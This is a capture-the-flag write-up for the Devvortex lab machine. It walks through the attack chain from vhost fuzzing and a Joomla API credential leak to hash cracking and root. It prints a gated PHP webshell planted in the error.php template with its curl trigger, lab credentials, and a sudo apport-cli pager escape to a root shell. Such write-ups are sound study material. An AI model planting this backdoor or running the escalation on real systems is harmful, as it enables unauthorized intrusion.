Skip to content

Devvortex — Attack Chain

Target: 10.129.229.146

Current Path

nmap -p- (22, 80 only)
  └── http://devvortex.htb — static site, nothing exploitable
        └── vhost fuzz (ffuf -H 'Host: FUZZ.devvortex.htb' -fs 154)
              └── dev.devvortex.htb  [Joomla]
                    └── robots.txt → /administrator/ and /api/ disclosed
                          └── /administrator/manifests/files/joomla.xml → v4.2.6
                                └── unauth API config leak (Joomla 4.0.0–4.2.7)
                                      └── creds: lewis : P4ntherg0t1n5r3c0n##
                                            └── Joomla admin panel login  ✅
                                                  └── Cassiopeia error.php template backdoor
                                                        └── RCE as www-data  ✅
                                                              └── nginx conf → webroot → configuration.php
                                                                    └── MySQL as lewis (127.0.0.1:3306)
                                                                          └── joomla.sd4fg_users
                                                                                └── logan bcrypt hash
                                                                                      └── hashcat -m 3200 → tequieromucho
                                                                                            └── SSH as logan → user.txt  ✅
                                                                                                  └── sudo apport-cli (CVE-2023-1326)
                                                                                                        └── less pager → !/bin/bash
                                                                                                              └── ROOT  ✅

Flags: User ✅ | Root ✅ — box complete


Branch Points

1. Apex domain vs. vhost

devvortex.htb directory fuzzing returned nothing useful. Pivoted to vhost enumeration instead of digging deeper into content discovery. Why: with only ports 22 and 80 open, the web surface has to be the way in. When the visible site is a dead end, the next question is "is this the only site?"

2. Filtering on size, not status code

Every vhost returned 302 / Size: 154 (nginx catch-all for an unknown Host header). -fc 302 was wrong — filtered too much. -fs 154 filtered on the actual noise signature and surfaced dev. Lesson: when status codes are uniform, filter on response size.

3. Version identification before exploit hunting

Pulled the exact version from administrator/manifests/files/joomla.xml rather than guessing from behaviour. Narrowed the CVE window to a single release.

4. index.php vs error.php for the template backdoor

index.php is not writable on this box — the save fails. error.php is writable, and is the better target regardless: it renders only on 404s, so the live site isn't broken and the trigger is any bogus URL. Lesson: writability is per-file. Try each file, don't fixate on the obvious one.

5. Webshell before reverse shell

Gated payload (if(isset($_GET['theo']))) rather than a bare system() call. Keeps the error page rendering normally for anyone else and avoids PHP warnings on every 404. Verified RCE with id before escalating to an interactive shell.


Foothold Detail

File modified: /templates/cassiopeia/error.php (via Joomla admin template editor)

Payload (line 1):

<?php if(isset($_GET['theo'])) { system($_GET['theo']); exit; } ?>

Trigger:

curl -s 'http://dev.devvortex.htb/yourmom?theo=id'

Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works: Joomla renders templates as PHP. The admin panel ships a template file editor by design. Admin access on a PHP CMS is therefore equivalent to code execution — this is a feature, not a CVE. The actual vulnerability was the unauthenticated API leak that produced the admin password.


6. Cracking only one of two hashes

Both lewis and logan hashes recovered, but lewis's cleartext was already known — cracking it buys nothing. bcrypt cost 10 is deliberately expensive. Lesson: before cracking, ask what it buys you that you don't already have.


Gotchas Hit (worth remembering)

Symptom Real cause
Blank page from webshell Trailing ' copied from a shell-quoted curl URL into the browser. PHP did fire — exit; suppressed the 404 page. Blank ≠ 404 page
ERROR 1044 ... to database '<password>' mysql -u user -p <pw> — space after -p makes the next token the DB name. Auth had succeeded
ERROR 1045 ... (using password: NO) -p omitted entirely — no password sent
Hash corrupted on write echo "$2y$10$..." in double quotes — bash expands $2/$1/$0 to empty. Use single quotes

Common thread: three parsing layers (bash → URL/protocol → remote interpreter). When something behaves oddly, work out which layer ate the input.


7. GTFOBins "Inherit" read as a dead end

apport-cli has no Sudo section on GTFOBins — only Inherit, from less. Initially read as "nothing here." It is the opposite: the binary has no escape of its own, but it spawns a pager that does, and a child inherits its parent's privileges. sudo apport-cli → less as root → !/bin/bash → root. The "Unprivileged" tag describes the trigger, not the outcome.

8. Rehearsed the exploit unprivileged first

Ran apport-cli without sudo to learn the menu flow, confirmed with id that it granted nothing, then fired under sudo. Correct practice for one-shot interactive primitives.


Completed

  • Upgrade webshell → interactive shell
  • Enumerate as www-data: users, sudo, listening services
  • Harvest credentials from Joomla on disk → MySQL → users table
  • Crack logan bcrypt (hashcat -m 3200, rockyou) → tequieromucho
  • SSH as logan → user.txt
  • sudo -l → apport-cli → pager escape → root.txt

Open Items

  • Revert error.php backdoor (engagement hygiene)
  • Evidence directory is empty — no command output or screenshots captured beyond the one Joomla version screenshot. Weak point of this run

Cleanup Note (post-box)

error.php still contains the backdoor. On a real engagement this must be reverted and reported. Original file is recoverable from a stock Joomla 4.2.6 tarball if needed.